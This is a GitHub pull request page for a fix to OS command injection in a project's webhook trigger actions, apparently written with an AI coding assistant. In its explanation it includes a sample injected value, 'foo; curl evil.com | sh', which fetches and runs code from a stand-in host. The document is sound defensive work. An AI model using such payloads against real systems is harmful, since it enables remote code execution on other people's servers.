fix: prevent command injection in trigger template resolution#126
Open
Rmohid wants to merge 1 commit into
Open
fix: prevent command injection in trigger template resolution#126Rmohid wants to merge 1 commit into
Rmohid wants to merge 1 commit into
Conversation
Replace exec with execFile in actions.js and shell-escape all
template-interpolated values ({{body.*}}, {{query.*}}, {{headers.*}})
in command-type trigger actions to prevent OS command injection via
crafted HTTP request payloads.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Owner
Owner
|
@claude /review |
Owner
|
Hey @coleam00 — thanks for this PR! The CI mirror step failed because the fork's copy of Could you rebase on latest git remote add upstream https://github.com/stephengpope/thepopebot.git
git fetch upstream
git rebase upstream/main
git push --force-with-leaseThat should get CI green. Thanks! |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
execwithexecFileinlib/actions.jsto avoid unnecessary shell parsing for command-type actionsshellEscape()inlib/triggers.jsthat wraps template-interpolated values in single quotes, neutralizing shell metacharacters{{body.*}},{{query.*}}, and{{headers.*}}values before executionContext
Trigger actions of type
commandpass template-resolved strings throughresolveTemplate()which interpolates raw HTTP request data (body, query, headers) into the command string. This string was then passed to Node'sexec(), which spawns a shell. An attacker who can POST to a watched trigger endpoint could inject arbitrary OS commands via crafted request payloads.Example: a trigger with
command: "./process.sh {{body.name}}"receiving{"name": "foo; curl evil.com | sh"}would execute the injected command.Test plan
;,|,$(), backticks) are treated as literal strings🤖 Generated with Claude Code